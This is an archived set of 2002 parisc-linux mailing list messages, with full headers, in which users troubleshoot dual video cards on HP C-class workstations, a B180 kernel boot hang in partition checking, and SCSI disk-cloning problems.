From - Thu Nov 08 21:25:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dual Video Cards?
Date: Wed, 27 Nov 2002 12:40:08 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20021127104008.GB11322@aurinko.ntc.nokia.com>
References: <200211251751.gAPHpHDf017394@hiauly1.hia.nrc.ca> <20021126040920.32100.qmail@web12508.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416621975 17799 80.91.229.3 (22 Nov 2014 02:06:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 27 03:40:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x4.nokia.com (mgw-x4.nokia.com [131.228.20.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id A080F4872
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Nov 2002 03:40:33 -0700 (MST)
Original-Received: from esvir04nok.ntc.nokia.com (esvir04nokt.ntc.nokia.com [172.21.143.36])
	by mgw-x4.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id gARAfE600454
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Nov 2002 12:41:14 +0200 (EET)
Original-Received: from esebh003.NOE.Nokia.com (unverified) by esvir04nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5ed1ebb835ac158f24077@esvir04nok.ntc.nokia.com> for <parisc-linux@lists.parisc-linux.org>;
 Wed, 27 Nov 2002 12:40:12 +0200
Original-Received: from trinms01.ntc.nokia.com ([172.22.107.110]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Wed, 27 Nov 2002 12:40:10 +0200
Original-Received: from aurinko.ntc.nokia.com (aurinko.ntc.nokia.com [172.22.105.49]) by trinms01.ntc.nokia.com with ESMTP (8.7.5/8.7.3) id MAA11264 for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Nov 2002 12:40:09 +0200 (EET)
Original-Received: (from mnahkola@localhost)
	by aurinko.ntc.nokia.com (8.11.6/8.11.6) id gARAe9j06516
	for parisc-linux@lists.parisc-linux.org; Wed, 27 Nov 2002 12:40:09 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <20021126040920.32100.qmail@web12508.mail.yahoo.com>
User-Agent: Mutt/1.4i
X-OriginalArrivalTime: 27 Nov 2002 10:40:10.0855 (UTC) FILETIME=[5C5D5770:01C29601]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16949

On Mon, Nov 25, 2002 at 08:09:20PM -0800, ext Derek Engelhaupt wrote:

> Anyone running dual displays on a C Class?  And if so how?  I 
> understand it needs two video cards or one card with dual output.  
> Thanks.....

Well, I have both a VIS-EG/PCI and a VIS-EG/GSC in a C360, but it's 
running HP-UX and not Linux. 

Hardware-wise it isn't a problem, even though the GSC card isn't 
officially supported in a C360. You might want to check the boot 
consols config though, diagnosing display problems with that during boot 
isn't fun without a serial console. And if you want to have a graphics 
console, do mind the slot designations ... I wouldn't try to make the GSC 
card the console in the C360, for example.

Don't know how you'd go about configuring those in Linux though. In HP-UX 
it's rather simple but that doesn't help much...


-- 
Mikko Nahkola   <mikko.nahkola@nokia.com>
Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>


From - Thu Nov 08 21:25:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: RE: [parisc-linux] 2.4.20-rc1-pa7 boot problem on b180
Date: Wed, 27 Nov 2002 11:43:56 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <3DA3C54C0000781B@ocpmta5.be.tiscali.com>
References: <20021125180014.A7440482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621975 17806 80.91.229.3 (22 Nov 2014 02:06:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 27 03:44:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id F051D4872
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Nov 2002 03:44:03 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Gzfi-0000UM-00; Wed, 27 Nov 2002 11:43:58 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 27 Nov 2002 11:43:56 +0100
In-Reply-To: <20021125180014.A7440482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16950

Hi grant,

>
>jsoe0708@tiscali.be wrote:
>> Hi Grant,
>> 
>> Could it be related to your patch in msg:
>> http://lists.parisc-linux.org/pipermail/parisc-linux/2002-November/018418.htm
>>   l
>> 
>> If yes can you re-forward it to me (I lost it sorry)?
>
>hmm....I doubt it. I'd expect the box to crash if it were.
>
You have right it doesn't matter.

But I do some progress:
Partition Check locks on the b180 at :
....
    res=check_part[i](hd, bdev, first_sector, first_part_minor);
....
in check_partition(...)

in the very first check_part[0]

Now how may I determine (with printk) which actual function is called?

Thanks,
    Joel



********************************************************************************
Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be




From - Thu Nov 08 21:25:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: RE: [parisc-linux] 2.4.20-rc1-pa7 boot problem on b180
Date: Wed, 27 Nov 2002 14:08:37 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <3DA3C54C000078BE@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621975 17809 80.91.229.3 (22 Nov 2014 02:06:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 27 06:09:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CA814872
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Nov 2002 06:09:14 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18H1wC-0004R8-00; Wed, 27 Nov 2002 14:09:08 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 27 Nov 2002 14:08:37 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16951

Hi grant,
>
>>
>>jsoe0708@tiscali.be wrote:
>>> Hi Grant,
>>>
>>> Could it be related to your patch in msg:
>>> http://lists.parisc-linux.org/pipermail/parisc-linux/2002-November/018418.htm
>>>   l
>>>
>>> If yes can you re-forward it to me (I lost it sorry)?
>>
>>hmm....I doubt it. I'd expect the box to crash if it were.
>>
>You have right it doesn't matter.
>
>But I do some progress:
>Partition Check locks on the b180 at :
>....
>    res=check_part[i](hd, bdev, first_sector, first_part_minor);
>....
>in check_partition(...)
>
>in the very first check_part[0]
>
>Now how may I determine (with printk) which actual function is called?
>
Well stopping gcc at preprocessing stage, I reach to figure out that only
msdos_partition is configured.

I continue (i will check first transmitted parameter values)

Joel


********************************************************************************
Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be




From - Thu Nov 08 21:25:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dual Video Cards?
Date: Wed, 27 Nov 2002 07:56:42 -0800 (PST)
Lines: 51
Approved: news@gmane.org
Message-ID: <20021127155642.49054.qmail@web12501.mail.yahoo.com>
References: <20021127104008.GB11322@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-2046837841-1038412602=:48983"
X-Trace: ger.gmane.org 1416621976 17812 80.91.229.3 (22 Nov 2014 02:06:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:16 +0000 (UTC)
To: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 27 08:56:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12501.mail.yahoo.com (web12501.mail.yahoo.com [216.136.173.193])
	by dsl2.external.hp.com (Postfix) with SMTP id 60CA54872
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Nov 2002 08:56:47 -0700 (MST)
Original-Received: from [12.24.253.152] by web12501.mail.yahoo.com via HTTP; Wed, 27 Nov 2002 07:56:42 PST
In-Reply-To: <20021127104008.GB11322@aurinko.ntc.nokia.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16952

--0-2046837841-1038412602=:48983
Content-Type: text/plain; charset=us-ascii


Well that's going to be my exact setup...I have one PCI EG card on the way and it came with a GSC EG card that I'm using now.  This machine dual boots HPUX and Linux of a Model 12 Autoraid with 2 LUNS on it.  I guess I'll get it working with HPUX first then tackle the Linux side.  I do have access to a serial console and that's how I got the original GSC graphics card configured to work.  Right now the GSC card is the default console and it works fine.  I found it interesting that the new palinux-2.4.19-pa24-PDC-20021106-netinst.iso doesn't exhibit the long bus walk times that I've been hearing about unless I have my kernal versions confused.  Like others here I, my network won't hook up to the switch at 100FD only 10FD.  The more interesting thing is that it hooks up at 100FD during the i
 nstall phase of Linux for the netinst CD, but not after it's running on it's own kernal.  I do believe someone wrote a patch for this though.
derek
 Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com> wrote:On Mon, Nov 25, 2002 at 08:09:20PM -0800, ext Derek Engelhaupt wrote:

> Anyone running dual displays on a C Class? And if so how? I 
> understand it needs two video cards or one card with dual output. 
> Thanks.....

Well, I have both a VIS-EG/PCI and a VIS-EG/GSC in a C360, but it's 
running HP-UX and not Linux. 

Hardware-wise it isn't a problem, even though the GSC card isn't 
officially supported in a C360. You might want to check the boot 
consols config though, diagnosing display problems with that during boot 
isn't fun without a serial console. And if you want to have a graphics 
console, do mind the slot designations ... I wouldn't try to make the GSC 
card the console in the C360, for example.

Don't know how you'd go about configuring those in Linux though. In HP-UX 
it's rather simple but that doesn't help much...


-- 
Mikko Nahkola 
Tre-IN sysadmin 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now
--0-2046837841-1038412602=:48983
Content-Type: text/html; charset=us-ascii

<P>Well that's going to be my exact setup...I have one PCI EG card on the way and it came with a GSC EG card that I'm using now.&nbsp; This machine dual boots HPUX and Linux of a Model 12 Autoraid with 2 LUNS on it.&nbsp; I guess I'll get it working with HPUX first then tackle the Linux side.&nbsp; I do have access to a serial console and that's how I got the original GSC graphics card configured to work.&nbsp; Right now the GSC card is the default console and it works fine.&nbsp; I found it interesting that the new palinux-2.4.19-pa24-PDC-20021106-netinst.iso doesn't exhibit the long bus walk times that I've been hearing about unless I have my kernal versions confused.&nbsp; Like others here I, my network won't hook up to the switch at 100FD only 10FD.&nbsp; The more interesting thing is 
 that it hooks up at 100FD during the install phase of Linux for the netinst CD, but not after it's running on it's own kernal.&nbsp; I do believe someone wrote a patch for this though.
<P>derek
<P>&nbsp;<B><I>Nahkola Mikko &lt;mnahkola@trinms01.ntc.nokia.com&gt;</I></B> wrote:
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">On Mon, Nov 25, 2002 at 08:09:20PM -0800, ext Derek Engelhaupt wrote:<BR><BR>&gt; Anyone running dual displays on a C Class? And if so how? I <BR>&gt; understand it needs two video cards or one card with dual output. <BR>&gt; Thanks.....<BR><BR>Well, I have both a VIS-EG/PCI and a VIS-EG/GSC in a C360, but it's <BR>running HP-UX and not Linux. <BR><BR>Hardware-wise it isn't a problem, even though the GSC card isn't <BR>officially supported in a C360. You might want to check the boot <BR>consols config though, diagnosing display problems with that during boot <BR>isn't fun without a serial console. And if you want to have a graphics <BR>console, do mind the slot designations ... I wouldn't try to make th
 e GSC <BR>card the console in the C360, for example.<BR><BR>Don't know how you'd go about configuring those in Linux though. In HP-UX <BR>it's rather simple but that doesn't help much...<BR><BR><BR>-- <BR>Mikko Nahkola <MIKKO.NAHKOLA@NOKIA.COM><BR>Tre-IN sysadmin <MNAHKOLA@TREIN.NTC.NOKIA.COM><BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Yahoo! Mail Plus</a> - Powerful. Affordable. <a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Sign up now</a>
--0-2046837841-1038412602=:48983--


From - Thu Nov 08 21:25:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Smith <james@compusmithllc.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Disk problems
Date: 27 Nov 2002 11:38:34 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <1038415115.469.5.camel@seventy>
References: <3DA3C54C00007733@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621976 17814 80.91.229.3 (22 Nov 2014 02:06:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 27 09:38:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from eightythree.valleybikes.com (valleybikes.com [24.123.22.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id 963A94872
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Nov 2002 09:38:44 -0700 (MST)
Original-Received: from localhost.localdomain (root@seventy.compusmithllc.com [192.168.194.70])
	by eightythree.valleybikes.com (8.12.5/8.12.5/Debian-1) with ESMTP id gARGcc34006820;
	Wed, 27 Nov 2002 11:38:38 -0500
In-Reply-To: <3DA3C54C00007733@ocpmta5.be.tiscali.com>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16953

the cable length is less than 4ft & every other disk worked, including
some of the same model






On Wed, 2002-11-27 at 01:57, jsoe0708@tiscali.be wrote:
> >
> >when i'm doing the disk cloning i'm actually using 2 workstations to
> >power the drives separately & a scsi cable long enough to reach both
> >disks, so i dont think its a spin up issue
> >
> Not a too long cable:
> in production with 712 model I met problems when the total length of the
> scsi chain was below but near 6m (composed of about 5 cables; connectic should
> certainly affected the signal)
> 
> Joel
> 
> ********************************************************************************
> Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be
> 
> 




From - Thu Nov 08 21:25:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Disk problems
Date: Wed, 27 Nov 2002 11:44:52 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200211271644.gARGiqeA027151@hiauly1.hia.nrc.ca>
References: <1038415115.469.5.camel@seventy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621976 17817 80.91.229.3 (22 Nov 2014 02:06:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:16 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
To: james@compusmithllc.com (James Smith)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 27 09:45:00 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE79C4872
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Nov 2002 09:44:58 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gARGirot027153;
	Wed, 27 Nov 2002 11:44:53 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gARGiqeA027151;
	Wed, 27 Nov 2002 11:44:52 -0500 (EST)
In-Reply-To: <1038415115.469.5.camel@seventy> from "James Smith" at Nov 27, 2002 11:38:34 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16954

> the cable length is less than 4ft & every other disk worked, including
> some of the same model

Have you tried reading with dd from raw device?  Try with a large bs and
count=1.  This should detect a funny block size.  You could also try building
the driver with debugging enabled.  This should give some idea as to
what's happening.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Disk problems
Date: Wed, 27 Nov 2002 18:06:07 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <3DA3DE66000072D5@ocpmta4.be.tiscali.com>
References: <1038415115.469.5.camel@seventy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621977 17819 80.91.229.3 (22 Nov 2014 02:06:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James Smith" <james@compusmithllc.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 27 10:06:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id D4E634872
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Nov 2002 10:06:45 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18H5e2-0008I2-00; Wed, 27 Nov 2002 18:06:38 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 27 Nov 2002 18:06:07 +0100
In-Reply-To: <1038415115.469.5.camel@seventy>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16955

>
>the cable length is less than 4ft & every other disk worked, including
>some of the same model
>
Ok same model but can you still make me a favour by verifying the firmware
release?

Thanks,
    Joel

********************************************************************************
Controlez mieux votre consommation Internet...surfez Tiscali Complete...http://tiscali.complete.be




From - Thu Nov 08 21:25:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: RE: [parisc-linux] 2.4.20-rc1-pa7 boot problem on b180
Date: Wed, 27 Nov 2002 19:09:18 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <3DAAAD4600004DF4@ocpmta1.be.tiscali.com>
References: <3DA3C54C000078BE@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621977 17820 80.91.229.3 (22 Nov 2014 02:06:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 27 11:09:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69BCF4872
	for <parisc-linux@lists.parisc-linux.org>; Wed, 27 Nov 2002 11:09:25 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18H6ch-0005Uu-00; Wed, 27 Nov 2002 19:09:19 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 27 Nov 2002 19:09:18 +0100
In-Reply-To: <3DA3C54C000078BE@ocpmta5.be.tiscali.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
